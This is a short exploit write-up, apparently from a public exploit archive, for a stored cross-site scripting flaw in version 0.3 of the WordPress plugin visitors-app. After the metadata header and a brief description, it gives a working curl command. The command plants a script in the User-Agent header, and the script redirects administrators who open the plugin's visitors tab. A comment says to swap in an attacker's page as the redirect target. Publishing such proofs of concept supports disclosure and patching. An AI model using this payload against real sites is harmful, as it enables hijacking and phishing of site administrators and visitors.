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969 B
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19 lines
No EOL
969 B
Text
# Exploit Title: WordPress Plugin visitors-app 0.3 - 'user-agent' Stored Cross-Site Scripting (XSS)
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# Date: 09/06/2021
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# Exploit Author: Mesut Cetin
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# Vendor Homepage: https://profiles.wordpress.org/domingoruiz/
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# Software Link: https://wordpress.org/plugins/visitors-app/
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# Version: 0.3
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# Tested on: Debian GNU/Linux 10
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# Reference: https://wpscan.com/vulnerability/06f1889d-8e2f-481a-b91b-3a8008e00ffc
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## Description:
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# A vulnerability in the Wordpress plugin "visitors" version 0.3 and prior allows remote attacker through
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# Cross-Site Scripting (XSS) to redirect administrators and visitors and potentially obtain sensitive informations
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# The 'user-agent' parameter allows attacker to escalate their privileges.
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## PoC
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# Replace google.com with malicious attacker page
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curl -i http://localhost/wordpress --user-agent "</script><script>location=([]+/http:\\google.com/g).substr(1,19); </script>"
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# on http://localhost/wordpress/wp-admin, browse the tab "visitors" |